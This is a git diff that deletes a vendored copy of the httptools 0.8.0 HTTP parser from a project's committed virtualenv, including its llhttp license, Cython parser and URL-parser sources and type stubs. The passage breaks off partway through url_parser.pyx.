b/venv/Lib/site-packages/httptools-0.8.0.dist-info/licenses/vendor/llhttp/LICENSE deleted file mode 100644 index 4f7f18df79730c836bff3e5d68c851b22cac252c..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httptools-0.8.0.dist-info/licenses/vendor/llhttp/LICENSE +++ /dev/null @@ -1,22 +0,0 @@ -MIT License - -Copyright © 2018 Fedor Indutny - -Permission is hereby granted, free of charge, to any person obtaining a -copy of this software and associated documentation files (the -"Software"), to deal in the Software without restriction, including -without limitation the rights to use, copy, modify, merge, publish, -distribute, sublicense, and/or sell copies of the Software, and to permit -persons to whom the Software is furnished to do so, subject to the -following conditions: - -The above copyright notice and this permission notice shall be included -in all copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS -OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF -MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN -NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, -DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR -OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE -USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/venv/Lib/site-packages/httptools-0.8.0.dist-info/top_level.txt b/venv/Lib/site-packages/httptools-0.8.0.dist-info/top_level.txt deleted file mode 100644 index bef3b40b2f33a46ae13d46456df480f77ab712e3..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httptools-0.8.0.dist-info/top_level.txt +++ /dev/null @@ -1 +0,0 @@ -httptools diff --git a/venv/Lib/site-packages/httptools/__init__.py b/venv/Lib/site-packages/httptools/__init__.py deleted file mode 100644 index 25630c8df41e483f50c6d71e84277ee05b303812..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httptools/__init__.py +++ /dev/null @@ -1,35 +0,0 @@ -from . import parser -from .parser import ( - HTTPProtocol, - HttpRequestParser, - HttpResponseParser, - HttpParserError, - HttpParserCallbackError, - HttpParserInvalidStatusError, - HttpParserInvalidMethodError, - HttpParserInvalidURLError, - HttpParserUpgrade, - parse_url, -) - -from ._version import __version__ - -__all__ = ( - "parser", - # protocol - "HTTPProtocol", - # parser - "HttpRequestParser", - "HttpResponseParser", - # errors - "HttpParserError", - "HttpParserCallbackError", - "HttpParserInvalidStatusError", - "HttpParserInvalidMethodError", - "HttpParserInvalidURLError", - "HttpParserUpgrade", - # url parser - "parse_url", - # version - "__version__", -) diff --git a/venv/Lib/site-packages/httptools/_version.py b/venv/Lib/site-packages/httptools/_version.py deleted file mode 100644 index 9c20a415505206d9dd6102abb562225257eadd1e..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httptools/_version.py +++ /dev/null @@ -1,13 +0,0 @@ -# This file MUST NOT contain anything but the __version__ assignment. -# -# When making a release, change the value of __version__ -# to an appropriate value, and open a pull request against -# the correct branch (master if making a new feature release). -# The commit message MUST contain a properly formatted release -# log, and the commit must be signed. -# -# The release automation will: build and test the packages for the -# supported platforms, publish the packages on PyPI, merge the PR -# to the target branch, create a Git tag pointing to the commit. - -__version__ = '0.8.0' diff --git a/venv/Lib/site-packages/httptools/parser/__init__.py b/venv/Lib/site-packages/httptools/parser/__init__.py deleted file mode 100644 index acb7a88624dbf5bedcb857e0250d96619c1f1052..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httptools/parser/__init__.py +++ /dev/null @@ -1,28 +0,0 @@ -from .protocol import HTTPProtocol -from .parser import HttpRequestParser, HttpResponseParser # NoQA -from .errors import ( - HttpParserError, - HttpParserCallbackError, - HttpParserInvalidStatusError, - HttpParserInvalidMethodError, - HttpParserInvalidURLError, - HttpParserUpgrade, -) -from .url_parser import parse_url - -__all__ = ( - # protocol - "HTTPProtocol", - # parser - "HttpRequestParser", - "HttpResponseParser", - # errors - "HttpParserError", - "HttpParserCallbackError", - "HttpParserInvalidStatusError", - "HttpParserInvalidMethodError", - "HttpParserInvalidURLError", - "HttpParserUpgrade", - # url_parser - "parse_url", -) diff --git a/venv/Lib/site-packages/httptools/parser/cparser.pxd b/venv/Lib/site-packages/httptools/parser/cparser.pxd deleted file mode 100644 index e91438534be2da3fa4e252de57f346deeaca8e74..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httptools/parser/cparser.pxd +++ /dev/null @@ -1,167 +0,0 @@ -from libc.stdint cimport int32_t, uint8_t, uint16_t, uint64_t - - -cdef extern from "llhttp.h": - struct llhttp__internal_s: - int32_t _index - void *_span_pos0 - void *_span_cb0 - int32_t error - const char *reason - const char *error_pos - void *data - void *_current - uint64_t content_length - uint8_t type - uint8_t method - uint8_t http_major - uint8_t http_minor - uint8_t header_state - uint16_t flags - uint8_t upgrade - uint16_t status_code - uint8_t finish - void *settings - ctypedef llhttp__internal_s llhttp__internal_t - ctypedef llhttp__internal_t llhttp_t - - ctypedef int (*llhttp_data_cb) (llhttp_t*, - const char *at, - size_t length) except -1 - - ctypedef int (*llhttp_cb) (llhttp_t*) except -1 - - struct llhttp_settings_s: - llhttp_cb on_message_begin - llhttp_data_cb on_url - llhttp_data_cb on_status - llhttp_data_cb on_header_field - llhttp_data_cb on_header_value - llhttp_cb on_headers_complete - llhttp_data_cb on_body - llhttp_cb on_message_complete - llhttp_cb on_chunk_header - llhttp_cb on_chunk_complete - ctypedef llhttp_settings_s llhttp_settings_t - - enum llhttp_type: - HTTP_BOTH, - HTTP_REQUEST, - HTTP_RESPONSE - ctypedef llhttp_type llhttp_type_t - - enum llhttp_errno: - HPE_OK, - HPE_INTERNAL, - HPE_STRICT, - HPE_LF_EXPECTED, - HPE_UNEXPECTED_CONTENT_LENGTH, - HPE_CLOSED_CONNECTION, - HPE_INVALID_METHOD, - HPE_INVALID_URL, - HPE_INVALID_CONSTANT, - HPE_INVALID_VERSION, - HPE_INVALID_HEADER_TOKEN, - HPE_INVALID_CONTENT_LENGTH, - HPE_INVALID_CHUNK_SIZE, - HPE_INVALID_STATUS, - HPE_INVALID_EOF_STATE, - HPE_INVALID_TRANSFER_ENCODING, - HPE_CB_MESSAGE_BEGIN, - HPE_CB_HEADERS_COMPLETE, - HPE_CB_MESSAGE_COMPLETE, - HPE_CB_CHUNK_HEADER, - HPE_CB_CHUNK_COMPLETE, - HPE_PAUSED, - HPE_PAUSED_UPGRADE, - HPE_USER - ctypedef llhttp_errno llhttp_errno_t - - enum llhttp_flags: - F_CONNECTION_KEEP_ALIVE, - F_CONNECTION_CLOSE, - F_CONNECTION_UPGRADE, - F_CHUNKED, - F_UPGRADE, - F_CONTENT_LENGTH, - F_SKIPBODY, - F_TRAILING, - F_LENIENT, - F_TRANSFER_ENCODING - ctypedef llhttp_flags llhttp_flags_t - - enum llhttp_method: - HTTP_DELETE, - HTTP_GET, - HTTP_HEAD, - HTTP_POST, - HTTP_PUT, - HTTP_CONNECT, - HTTP_OPTIONS, - HTTP_TRACE, - HTTP_COPY, - HTTP_LOCK, - HTTP_MKCOL, - HTTP_MOVE, - HTTP_PROPFIND, - HTTP_PROPPATCH, - HTTP_SEARCH, - HTTP_UNLOCK, - HTTP_BIND, - HTTP_REBIND, - HTTP_UNBIND, - HTTP_ACL, - HTTP_REPORT, - HTTP_MKACTIVITY, - HTTP_CHECKOUT, - HTTP_MERGE, - HTTP_MSEARCH, - HTTP_NOTIFY, - HTTP_SUBSCRIBE, - HTTP_UNSUBSCRIBE, - HTTP_PATCH, - HTTP_PURGE, - HTTP_MKCALENDAR, - HTTP_LINK, - HTTP_UNLINK, - HTTP_SOURCE, - HTTP_PRI, - HTTP_DESCRIBE, - HTTP_ANNOUNCE, - HTTP_SETUP, - HTTP_PLAY, - HTTP_PAUSE, - HTTP_TEARDOWN, - HTTP_GET_PARAMETER, - HTTP_SET_PARAMETER, - HTTP_REDIRECT, - HTTP_RECORD, - HTTP_FLUSH - ctypedef llhttp_method llhttp_method_t - - void llhttp_init(llhttp_t* parser, llhttp_type_t type, const llhttp_settings_t* settings) - - void llhttp_settings_init(llhttp_settings_t* settings) - - llhttp_errno_t llhttp_execute(llhttp_t* parser, const char* data, size_t len) - - void llhttp_resume_after_upgrade(llhttp_t* parser) - - int llhttp_should_keep_alive(const llhttp_t* parser) - - const char* llhttp_get_error_pos(const llhttp_t* parser) - const char* llhttp_get_error_reason(const llhttp_t* parser) - const char* llhttp_method_name(llhttp_method_t method) - - void llhttp_set_error_reason(llhttp_t* parser, const char* reason); - - void llhttp_set_lenient_headers(llhttp_t* parser, bint enabled); - void llhttp_set_lenient_chunked_length(llhttp_t* parser, bint enabled); - void llhttp_set_lenient_keep_alive(llhttp_t* parser, bint enabled); - void llhttp_set_lenient_transfer_encoding(llhttp_t* parser, bint enabled); - void llhttp_set_lenient_version(llhttp_t* parser, bint enabled); - void llhttp_set_lenient_data_after_close(llhttp_t* parser, bint enabled); - void llhttp_set_lenient_optional_lf_after_cr(llhttp_t* parser, bint enabled); - void llhttp_set_lenient_optional_cr_before_lf(llhttp_t* parser, bint enabled); - void llhttp_set_lenient_optional_crlf_after_chunk(llhttp_t* parser, bint enabled); - void llhttp_set_lenient_spaces_after_chunk_size(llhttp_t* parser, bint enabled); diff --git a/venv/Lib/site-packages/httptools/parser/errors.py b/venv/Lib/site-packages/httptools/parser/errors.py deleted file mode 100644 index 3db30e157693f5c80479b80b439213bb2474a52e..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httptools/parser/errors.py +++ /dev/null @@ -1,30 +0,0 @@ -__all__ = ('HttpParserError', - 'HttpParserCallbackError', - 'HttpParserInvalidStatusError', - 'HttpParserInvalidMethodError', - 'HttpParserInvalidURLError', - 'HttpParserUpgrade') - - -class HttpParserError(Exception): - pass - - -class HttpParserCallbackError(HttpParserError): - pass - - -class HttpParserInvalidStatusError(HttpParserError): - pass - - -class HttpParserInvalidMethodError(HttpParserError): - pass - - -class HttpParserInvalidURLError(HttpParserError): - pass - - -class HttpParserUpgrade(Exception): - pass diff --git a/venv/Lib/site-packages/httptools/parser/parser.cp314-win_amd64.pyd b/venv/Lib/site-packages/httptools/parser/parser.cp314-win_amd64.pyd deleted file mode 100644 index c4c46c58be0a463fd399360a81eccb69a3eea821..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httptools/parser/parser.cp314-win_amd64.pyd +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:a7eebe4fbc44b4febafd751aac4eebba023f8d19989235ef9c86a308b9c10354 -size 126464 diff --git a/venv/Lib/site-packages/httptools/parser/parser.pyi b/venv/Lib/site-packages/httptools/parser/parser.pyi deleted file mode 100644 index bf0d860c9270dc85a2d6ab58c79a2bfeb0e004ba..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httptools/parser/parser.pyi +++ /dev/null @@ -1,58 +0,0 @@ -from array import array -from .protocol import HTTPProtocol - -class HttpParser: - def __init__(self, protocol: HTTPProtocol | object) -> None: - """The HTTP parser. - - Args: - protocol (HTTPProtocol): Callback interface for the parser. - """ - - def set_dangerous_leniencies( - self, - lenient_headers: bool | None = None, - lenient_chunked_length: bool | None = None, - lenient_keep_alive: bool | None = None, - lenient_transfer_encoding: bool | None = None, - lenient_version: bool | None = None, - lenient_data_after_close: bool | None = None, - lenient_optional_lf_after_cr: bool | None = None, - lenient_optional_cr_before_lf: bool | None = None, - lenient_optional_crlf_after_chunk: bool | None = None, - lenient_spaces_after_chunk_size: bool | None = None, - ) -> None: - """Set dangerous leniencies for the parser.""" - - def get_http_version(self) -> str: - """Retrieve the HTTP protocol version e.g. "1.1".""" - - def should_keep_alive(self) -> bool: - """Return `True` if keep-alive mode is preferred.""" - - def should_upgrade(self) -> bool: - """Return `True` if the parsed request is a valid Upgrade request. - The method exposes a flag set just before on_headers_complete. - Calling this method earlier will only yield `False`.""" - - def feed_data(self, data: bytes | bytearray | memoryview | array[int]) -> None: - """Feed data to the parser. - - Will eventually trigger callbacks on the ``protocol`` object. - - On HTTP upgrade, this method will raise an - ``HttpParserUpgrade`` exception, with its sole argument - set to the offset of the non-HTTP data in ``data``. - """ - -class HttpRequestParser(HttpParser): - """Used for parsing http requests from the server side.""" - - def get_method(self) -> bytes: - """Retrieve the HTTP method of the request.""" - -class HttpResponseParser(HttpParser): - """Used for parsing http responses from the client side.""" - - def get_status_code(self) -> int: - """Retrieve the status code of the HTTP response.""" diff --git a/venv/Lib/site-packages/httptools/parser/parser.pyx b/venv/Lib/site-packages/httptools/parser/parser.pyx deleted file mode 100644 index 558244d4c5becffba6947475ddf5a6d933582b06..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httptools/parser/parser.pyx +++ /dev/null @@ -1,436 +0,0 @@ -#cython: language_level=3 - -from __future__ import print_function -from typing import Optional - -from cpython.mem cimport PyMem_Malloc, PyMem_Free -from cpython cimport PyObject_GetBuffer, PyBuffer_Release, PyBUF_SIMPLE, \ - Py_buffer, PyBytes_AsString - -from .python cimport PyMemoryView_Check, PyMemoryView_GET_BUFFER - - -from .errors import (HttpParserError, - HttpParserCallbackError, - HttpParserInvalidStatusError, - HttpParserInvalidMethodError, - HttpParserInvalidURLError, - HttpParserUpgrade) - -cimport cython -from . cimport cparser - - -__all__ = ('HttpRequestParser', 'HttpResponseParser') - - -@cython.internal -cdef class HttpParser: - - cdef: - cparser.llhttp_t* _cparser - cparser.llhttp_settings_t* _csettings - - bytes _current_header_name - bytes _current_header_value - - _proto_on_url, _proto_on_status, _proto_on_body, \ - _proto_on_header, _proto_on_headers_complete, \ - _proto_on_message_complete, _proto_on_chunk_header, \ - _proto_on_chunk_complete, _proto_on_message_begin - - object _last_error - - Py_buffer py_buf - - def __cinit__(self): - self._cparser = \ - PyMem_Malloc(sizeof(cparser.llhttp_t)) - if self._cparser is NULL: - raise MemoryError() - - self._csettings = \ - PyMem_Malloc(sizeof(cparser.llhttp_settings_t)) - if self._csettings is NULL: - raise MemoryError() - - def __dealloc__(self): - PyMem_Free(self._cparser) - PyMem_Free(self._csettings) - - cdef _init(self, protocol, cparser.llhttp_type_t mode): - cparser.llhttp_settings_init(self._csettings) - - cparser.llhttp_init(self._cparser, mode, self._csettings) - self._cparser.data = self - - self._current_header_name = None - self._current_header_value = None - - self._proto_on_header = getattr(protocol, 'on_header', None) - if self._proto_on_header is not None: - self._csettings.on_header_field = cb_on_header_field - self._csettings.on_header_value = cb_on_header_value - self._proto_on_headers_complete = getattr( - protocol, 'on_headers_complete', None) - self._csettings.on_headers_complete = cb_on_headers_complete - - self._proto_on_body = getattr(protocol, 'on_body', None) - if self._proto_on_body is not None: - self._csettings.on_body = cb_on_body - - self._proto_on_message_begin = getattr( - protocol, 'on_message_begin', None) - if self._proto_on_message_begin is not None: - self._csettings.on_message_begin = cb_on_message_begin - - self._proto_on_message_complete = getattr( - protocol, 'on_message_complete', None) - if self._proto_on_message_complete is not None: - self._csettings.on_message_complete = cb_on_message_complete - - self._proto_on_chunk_header = getattr( - protocol, 'on_chunk_header', None) - self._csettings.on_chunk_header = cb_on_chunk_header - - self._proto_on_chunk_complete = getattr( - protocol, 'on_chunk_complete', None) - self._csettings.on_chunk_complete = cb_on_chunk_complete - - self._last_error = None - - cdef _maybe_call_on_header(self): - if self._current_header_value is not None: - current_header_name = self._current_header_name - current_header_value = self._current_header_value - - self._current_header_name = self._current_header_value = None - - if self._proto_on_header is not None: - self._proto_on_header(current_header_name, - current_header_value) - - cdef _on_header_field(self, bytes field): - self._maybe_call_on_header() - if self._current_header_name is None: - self._current_header_name = field - else: - self._current_header_name += field - - cdef _on_header_value(self, bytes val): - if self._current_header_value is None: - self._current_header_value = val - else: - # This is unlikely, as mostly HTTP headers are one-line - self._current_header_value += val - - cdef _on_headers_complete(self): - self._maybe_call_on_header() - - if self._proto_on_headers_complete is not None: - self._proto_on_headers_complete() - - cdef _on_chunk_header(self): - if (self._current_header_value is not None or - self._current_header_name is not None): - raise HttpParserError('invalid headers state') - - if self._proto_on_chunk_header is not None: - self._proto_on_chunk_header() - - cdef _on_chunk_complete(self): - self._maybe_call_on_header() - - if self._proto_on_chunk_complete is not None: - self._proto_on_chunk_complete() - - ### Public API ### - - def set_dangerous_leniencies( - self, - lenient_headers: Optional[bool] = None, - lenient_chunked_length: Optional[bool] = None, - lenient_keep_alive: Optional[bool] = None, - lenient_transfer_encoding: Optional[bool] = None, - lenient_version: Optional[bool] = None, - lenient_data_after_close: Optional[bool] = None, - lenient_optional_lf_after_cr: Optional[bool] = None, - lenient_optional_cr_before_lf: Optional[bool] = None, - lenient_optional_crlf_after_chunk: Optional[bool] = None, - lenient_spaces_after_chunk_size: Optional[bool] = None, - ): - cdef cparser.llhttp_t* parser = self._cparser - if lenient_headers is not None: - cparser.llhttp_set_lenient_headers( - parser, lenient_headers) - if lenient_chunked_length is not None: - cparser.llhttp_set_lenient_chunked_length( - parser, lenient_chunked_length) - if lenient_keep_alive is not None: - cparser.llhttp_set_lenient_keep_alive( - parser, lenient_keep_alive) - if lenient_transfer_encoding is not None: - cparser.llhttp_set_lenient_transfer_encoding( - parser, lenient_transfer_encoding) - if lenient_version is not None: - cparser.llhttp_set_lenient_version( - parser, lenient_version) - if lenient_data_after_close is not None: - cparser.llhttp_set_lenient_data_after_close( - parser, lenient_data_after_close) - if lenient_optional_lf_after_cr is not None: - cparser.llhttp_set_lenient_optional_lf_after_cr( - parser, lenient_optional_lf_after_cr) - if lenient_optional_cr_before_lf is not None: - cparser.llhttp_set_lenient_optional_cr_before_lf( - parser, lenient_optional_cr_before_lf) - if lenient_optional_crlf_after_chunk is not None: - cparser.llhttp_set_lenient_optional_crlf_after_chunk( - parser, lenient_optional_crlf_after_chunk) - if lenient_spaces_after_chunk_size is not None: - cparser.llhttp_set_lenient_spaces_after_chunk_size( - parser, lenient_spaces_after_chunk_size) - - def get_http_version(self): - cdef cparser.llhttp_t* parser = self._cparser - return '{}.{}'.format(parser.http_major, parser.http_minor) - - def should_keep_alive(self): - return bool(cparser.llhttp_should_keep_alive(self._cparser)) - - def should_upgrade(self): - cdef cparser.llhttp_t* parser = self._cparser - return bool(parser.upgrade) - - def feed_data(self, data): - cdef: - size_t data_len - cparser.llhttp_errno_t err - Py_buffer *buf - bint owning_buf = False - const char* err_pos - - if PyMemoryView_Check(data): - buf = PyMemoryView_GET_BUFFER(data) - data_len = buf.len - err = cparser.llhttp_execute( - self._cparser, - buf.buf, - data_len) - - else: - buf = &self.py_buf - PyObject_GetBuffer(data, buf, PyBUF_SIMPLE) - owning_buf = True - data_len = buf.len - - err = cparser.llhttp_execute( - self._cparser, - buf.buf, - data_len) - - try: - if self._cparser.upgrade == 1 and err == cparser.HPE_PAUSED_UPGRADE: - err_pos = cparser.llhttp_get_error_pos(self._cparser) - - # Immediately free the parser from "error" state, simulating - # http-parser behavior here because 1) we never had the API to - # allow users manually "resume after upgrade", and 2) the use - # case for resuming parsing is very rare. - cparser.llhttp_resume_after_upgrade(self._cparser) - - # The err_pos here is specific for the input buf. So if we ever - # switch to the llhttp behavior (re-raise HttpParserUpgrade for - # successive calls to feed_data() until resume_after_upgrade is - # called), we have to store the result and keep our own state. - raise HttpParserUpgrade(err_pos - buf.buf) - finally: - if owning_buf: - PyBuffer_Release(buf) - - if err != cparser.HPE_OK: - ex = parser_error_from_errno( - self._cparser, - self._cparser.error) - if isinstance(ex, HttpParserCallbackError): - if self._last_error is not None: - ex.__context__ = self._last_error - self._last_error = None - raise ex - - -cdef class HttpRequestParser(HttpParser): - - def __init__(self, protocol): - self._init(protocol, cparser.HTTP_REQUEST) - - self._proto_on_url = getattr(protocol, 'on_url', None) - if self._proto_on_url is not None: - self._csettings.on_url = cb_on_url - - def get_method(self): - cdef cparser.llhttp_t* parser = self._cparser - return cparser.llhttp_method_name( parser.method) - - -cdef class HttpResponseParser(HttpParser): - - def __init__(self, protocol): - self._init(protocol, cparser.HTTP_RESPONSE) - - self._proto_on_status = getattr(protocol, 'on_status', None) - if self._proto_on_status is not None: - self._csettings.on_status = cb_on_status - - def get_status_code(self): - cdef cparser.llhttp_t* parser = self._cparser - return parser.status_code - - -cdef int cb_on_message_begin(cparser.llhttp_t* parser) except -1: - cdef HttpParser pyparser = parser.data - try: - pyparser._proto_on_message_begin() - except BaseException as ex: - pyparser._last_error = ex - return -1 - else: - return 0 - - -cdef int cb_on_url(cparser.llhttp_t* parser, - const char *at, size_t length) except -1: - cdef HttpParser pyparser = parser.data - try: - pyparser._proto_on_url(at[:length]) - except BaseException as ex: - cparser.llhttp_set_error_reason(parser, "`on_url` callback error") - pyparser._last_error = ex - return cparser.HPE_USER - else: - return 0 - - -cdef int cb_on_status(cparser.llhttp_t* parser, - const char *at, size_t length) except -1: - cdef HttpParser pyparser = parser.data - try: - pyparser._proto_on_status(at[:length]) - except BaseException as ex: - cparser.llhttp_set_error_reason(parser, "`on_status` callback error") - pyparser._last_error = ex - return cparser.HPE_USER - else: - return 0 - - -cdef int cb_on_header_field(cparser.llhttp_t* parser, - const char *at, size_t length) except -1: - cdef HttpParser pyparser = parser.data - try: - pyparser._on_header_field(at[:length]) - except BaseException as ex: - cparser.llhttp_set_error_reason(parser, "`on_header_field` callback error") - pyparser._last_error = ex - return cparser.HPE_USER - else: - return 0 - - -cdef int cb_on_header_value(cparser.llhttp_t* parser, - const char *at, size_t length) except -1: - cdef HttpParser pyparser = parser.data - try: - pyparser._on_header_value(at[:length]) - except BaseException as ex: - cparser.llhttp_set_error_reason(parser, "`on_header_value` callback error") - pyparser._last_error = ex - return cparser.HPE_USER - else: - return 0 - - -cdef int cb_on_headers_complete(cparser.llhttp_t* parser) except -1: - cdef HttpParser pyparser = parser.data - try: - pyparser._on_headers_complete() - except BaseException as ex: - pyparser._last_error = ex - return -1 - else: - if pyparser._cparser.upgrade: - return 1 - else: - return 0 - - -cdef int cb_on_body(cparser.llhttp_t* parser, - const char *at, size_t length) except -1: - cdef HttpParser pyparser = parser.data - try: - pyparser._proto_on_body(at[:length]) - except BaseException as ex: - cparser.llhttp_set_error_reason(parser, "`on_body` callback error") - pyparser._last_error = ex - return cparser.HPE_USER - else: - return 0 - - -cdef int cb_on_message_complete(cparser.llhttp_t* parser) except -1: - cdef HttpParser pyparser = parser.data - try: - pyparser._proto_on_message_complete() - except BaseException as ex: - pyparser._last_error = ex - return -1 - else: - return 0 - - -cdef int cb_on_chunk_header(cparser.llhttp_t* parser) except -1: - cdef HttpParser pyparser = parser.data - try: - pyparser._on_chunk_header() - except BaseException as ex: - pyparser._last_error = ex - return -1 - else: - return 0 - - -cdef int cb_on_chunk_complete(cparser.llhttp_t* parser) except -1: - cdef HttpParser pyparser = parser.data - try: - pyparser._on_chunk_complete() - except BaseException as ex: - pyparser._last_error = ex - return -1 - else: - return 0 - - -cdef parser_error_from_errno(cparser.llhttp_t* parser, cparser.llhttp_errno_t errno): - cdef bytes reason = cparser.llhttp_get_error_reason(parser) - - if errno in (cparser.HPE_CB_MESSAGE_BEGIN, - cparser.HPE_CB_HEADERS_COMPLETE, - cparser.HPE_CB_MESSAGE_COMPLETE, - cparser.HPE_CB_CHUNK_HEADER, - cparser.HPE_CB_CHUNK_COMPLETE, - cparser.HPE_USER): - cls = HttpParserCallbackError - - elif errno == cparser.HPE_INVALID_STATUS: - cls = HttpParserInvalidStatusError - - elif errno == cparser.HPE_INVALID_METHOD: - cls = HttpParserInvalidMethodError - - elif errno == cparser.HPE_INVALID_URL: - cls = HttpParserInvalidURLError - - else: - cls = HttpParserError - - return cls(reason.decode('latin-1')) diff --git a/venv/Lib/site-packages/httptools/parser/protocol.py b/venv/Lib/site-packages/httptools/parser/protocol.py deleted file mode 100644 index 841009218854e9948539aebafa5d5f99d94e5fe7..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httptools/parser/protocol.py +++ /dev/null @@ -1,15 +0,0 @@ -from typing import Protocol - - -class HTTPProtocol(Protocol): - """Used for providing static type-checking when parsing through the http protocol""" - - def on_message_begin(self) -> None: ... - def on_url(self, url: bytes) -> None: ... - def on_header(self, name: bytes, value: bytes) -> None: ... - def on_headers_complete(self) -> None: ... - def on_body(self, body: bytes) -> None: ... - def on_message_complete(self) -> None: ... - def on_chunk_header(self) -> None: ... - def on_chunk_complete(self) -> None: ... - def on_status(self, status: bytes) -> None: ... diff --git a/venv/Lib/site-packages/httptools/parser/python.pxd b/venv/Lib/site-packages/httptools/parser/python.pxd deleted file mode 100644 index 509599d0e1ea1feef70f1bcd1d819c9418e2c427..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httptools/parser/python.pxd +++ /dev/null @@ -1,6 +0,0 @@ -cimport cpython - - -cdef extern from "Python.h": - cpython.Py_buffer* PyMemoryView_GET_BUFFER(object) - bint PyMemoryView_Check(object) diff --git a/venv/Lib/site-packages/httptools/parser/url_cparser.pxd b/venv/Lib/site-packages/httptools/parser/url_cparser.pxd deleted file mode 100644 index 1c7eacf78fb766b8189a256b3a0d4131e60e2a68..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httptools/parser/url_cparser.pxd +++ /dev/null @@ -1,31 +0,0 @@ -from libc.stdint cimport uint16_t - - -cdef extern from "http_parser.h": - # URL Parser - - enum http_parser_url_fields: - UF_SCHEMA = 0, - UF_HOST = 1, - UF_PORT = 2, - UF_PATH = 3, - UF_QUERY = 4, - UF_FRAGMENT = 5, - UF_USERINFO = 6, - UF_MAX = 7 - - struct http_parser_url_field_data: - uint16_t off - uint16_t len - - struct http_parser_url: - uint16_t field_set - uint16_t port - http_parser_url_field_data[UF_MAX] field_data - - void http_parser_url_init(http_parser_url *u) - - int http_parser_parse_url(const char *buf, - size_t buflen, - int is_connect, - http_parser_url *u) diff --git a/venv/Lib/site-packages/httptools/parser/url_parser.cp314-win_amd64.pyd b/venv/Lib/site-packages/httptools/parser/url_parser.cp314-win_amd64.pyd deleted file mode 100644 index 70b6a7e2cf96e0b5bb20cf95caaf932c5a8f8f6c..0000000000000000000000000000000000000000 Binary files a/venv/Lib/site-packages/httptools/parser/url_parser.cp314-win_amd64.pyd and /dev/null differ diff --git a/venv/Lib/site-packages/httptools/parser/url_parser.pyi b/venv/Lib/site-packages/httptools/parser/url_parser.pyi deleted file mode 100644 index d8484454147552232443d3ae1b03d1b453bd338f..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httptools/parser/url_parser.pyi +++ /dev/null @@ -1,13 +0,0 @@ -from array import array - -class URL: - schema: bytes - host: bytes - port: int - path: bytes - query: bytes - fragment: bytes - userinfo: bytes - -def parse_url(url: bytes | bytearray | memoryview | array[int]) -> URL: - """Parse a URL string into a structured Python object.""" diff --git a/venv/Lib/site-packages/httptools/parser/url_parser.pyx b/venv/Lib/site-packages/httptools/parser/url_parser.pyx deleted file mode 100644 index 5e8220870ba52751d4bb42848e31e8604f5e358c..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httptools/parser/url_parser.pyx +++ /dev/null @@ -1,118 +0,0 @@ -#cython: language_level=3 - -from __future__ import print_function -from cpython.mem cimport PyMem_Malloc, PyMem_Free -from cpython cimport PyObject_GetBuffer, PyBuffer_Release, PyBUF_SIMPLE, \ - Py_buffer - -from .errors import HttpParserInvalidURLError - -cimport cython -from . cimport url_cparser as uparser - -__all__ = ('parse_url',) - -DEF MAX_URL_LENGTH = (1 << 16) - 1 - -@cython.freelist(250) -cdef class URL: - cdef readonly bytes schema - cdef readonly bytes host - cdef readonly object port - cdef readonly bytes path - cdef readonly bytes query - cdef readonly bytes fragment - cdef readonly bytes userinfo - - def __cinit__(self, bytes schema, bytes host, object port, bytes path, - bytes query, bytes fragment, bytes userinfo): - - self.schema = schema - self.host = host - self.port = port - self.path = path - self.query = query - self.fragment = fragment - self.userinfo = userinfo - - def __repr__(self): - return ('' - .format(self.schema, self.host, self.port, self.path, - self.query, self.fragment, self.userinfo)) - - -def parse_url(url): - cdef: - Py_buffer py_buf - char* buf_data - uparser.http_parser_url* parsed - int res - bytes schema = None - bytes host = None - object port = None - bytes path = None - bytes query = None - bytes fragment = None - bytes userinfo = None - object result = None - int off - int ln - - parsed = \ - PyMem_Malloc(sizeof(uparser.http_parser_url)) - uparser.http_parser_url_init(parsed) - - PyObject_GetBuffer(url, &py_buf, PyBUF_SIMPLE) - try: - if py_buf.len > MAX_URL_LENGTH: - # http_parser stores URL field offsets/lengths as uint16_t, - # so URLs longer than this will cause silent truncation. - # See https://github.com/MagicStack/httptools/issues/142 - raise HttpParserInvalidURLError( - "url is too long: url length of {} bytes exceeds the " - "maximum of {} bytes".format(py_buf.len, MAX_URL_LENGTH)) - - buf_data = py_buf.buf - res = uparser.http_parser_parse_url(buf_data, py_buf.len, 0, parsed) - - if res == 0: - if parsed.field_set & (1 << uparser.UF_SCHEMA): - off = parsed.field_data[uparser.UF_SCHEMA].off - ln = parsed.field_data[uparser.UF_SCHEMA].len - schema = buf_data[off:off+ln] - - if parsed.field_set & (1 << uparser.UF_HOST): - off = parsed.field_data[uparser.UF_HOST].off - ln = parsed.field_data[uparser.UF_HOST].len - host = buf_data[off:off+ln] - - if parsed.field_set & (1 << uparser.UF_PORT): - port = parsed.port - - if parsed.field_set & (1 << uparser.UF_PATH): - off = parsed.field_data[uparser.UF_PATH].off - ln = parsed.field_data[uparser.UF_PATH].len - path = buf_data[off:off+ln] - - if parsed.field_set & (1 << uparser.UF_QUERY): - off = parsed.field_data[uparser.UF_QUERY].off - ln = parsed.field_data[uparser.UF_QUERY].len - query = buf_data[off:off+ln] - - if parsed.field_set & (1 << uparser.UF_FRAGMENT): - off = parsed.field_data[uparser.UF_FRAGMENT].off - ln = 